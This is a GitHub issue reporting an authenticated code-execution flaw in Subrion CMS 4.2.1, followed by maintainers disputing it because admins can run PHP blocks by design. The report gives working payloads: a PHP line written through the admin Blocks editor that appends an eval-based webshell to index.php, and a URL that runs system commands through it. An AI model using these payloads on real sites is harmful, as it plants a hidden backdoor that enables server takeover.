Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

RCE vulnerability in Subrion CMS 4.2.1 #912

Open
KingLann opened this issue Aug 26, 2024 · 6 comments
Open

RCE vulnerability in Subrion CMS 4.2.1 #912

KingLann opened this issue Aug 26, 2024 · 6 comments

Comments

@KingLann
Copy link

KingLann commented Aug 26, 2024

RCE vulnerability in Subrion CMS 4.2.1

Affected version

  • Subrion CMS 4.2.1

Source code: https://subrion.org/download/

Exploiting vulnerabilities:

1、login address:

http://127.0.0.1/subrion3/panel/

2、Find PHP info in the System module.

image

3、Search for the absolute path of the website in the information section of PHPINFO by searching for

$_SERVER['SCRIPT_FILENAME']. The website path obtained is: D:/phpstudy_pro/WWW/subrion3/。

image-20240826072123640

4、Edit Contens in "Content" -> "Blocks" -> "Refine Search".

image

5、And than,we can write webshell into the website’s homepage file index.php,Finally, click the save button.

payload:

fputs(fopen('D:/phpstudy_pro/WWW/subrion3/index.php','a+'),'@eval($_GET[cmd]);');

image-20240826101146434

6、Visit the index. php file on the homepage and execute the command.

payload:

http://127.0.0.1/subrion3/index.php?cmd=system('ipconfig');

image-20240826101255817

vulnerability analysis:

1、Inia.core.smarty.php, $result = eval($block['contents']);The lack of strict filtering of input content has led to code execution vulnerabilities.

image-20240826072720068

Repair suggestions:
Filter dangerous functions and content in the content before writing the file.

@vbezruchkin
Copy link
Member

Can someone explain me how you can do that without admin access? It's intentionally allowed to have PHP type blocks in the CMS.

What's the reason to "hack" if you already have access to the admin panel? What's the catch?

@KingLann
Copy link
Author

KingLann commented Aug 26, 2024

Can someone explain me how you can do that without admin access? It's intentionally allowed to have PHP type blocks in the CMS.

What's the reason to "hack" if you already have access to the admin panel? What's the catch?

Q: This is my reference to CVE-23-46947. After obtaining web application permissions, further obtain server permissions. After obtaining server permissions, attempt to infiltrate the internal network or further expand the harm. This is my personal understanding, and I hope to receive more guidance.

reference to: https://www.opencve.io/cve/CVE-2023-46947

@vbezruchkin
Copy link
Member

I will ask my question once again. You need full access to admin panel already, which is not easy to get on a real server. Once you get it, you can "hack" it. It's like you need to be with the keys inside a car to steal it, but the main problem is to get inside, isn't it?

@KingLann
Copy link
Author

KingLann commented Aug 26, 2024

I will ask my question once again. You need full access to admin panel already, which is not easy to get on a real server. Once you get it, you can "hack" it. It's like you need to be with the keys inside a car to steal it, but the main problem is to get inside, isn't it?

A: I understand what you mean, that is to say, this vulnerability in the backend getshell cannot meet the conditions for applying for a number. Thank you for your suggestion, and I will continue to work hard.

@KingLann
Copy link
Author

KingLann commented Aug 26, 2024

I will ask my question once again. You need full access to admin panel already, which is not easy to get on a real server. Once you get it, you can "hack" it. It's like you need to be with the keys inside a car to steal it, but the main problem is to get inside, isn't it?

Indeed, access to the management panel is required before exploiting this vulnerability. However, this does not mean that the harm of the vulnerability itself can be ignored. When I was conducting vulnerability mining, I learned that some historical CVE vulnerabilities in Subrion CMS were also triggered in the background, such as CVE-2023-43828, CVE-2023-46947, CVE-2021-41948, and so on. We cannot completely ignore the vulnerabilities in the backend, right? Thieves can enter our house in many ways, but we cannot assume that a locked house is completely safe.

@KingLann KingLann reopened this Aug 27, 2024
@KingLann KingLann changed the title RCE vulnerability in Subrion CMS 4.1.5 (LTS) RCE vulnerability in Subrion CMS 4.2.1 Aug 27, 2024
@blockisec
Copy link

blockisec commented Dec 2, 2024

you are referencing admin XSS vulnerabilities. these have no real impact because there is no higher privileged account to escalate to. Admins can edit page content by design. To get RCE they just can install extensions no need for a "vulnerability" for this.

This issue tracker seems to be a magnet for script kiddies generating AI based "vulnerability" reports.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants
@vbezruchkin @KingLann @blockisec and others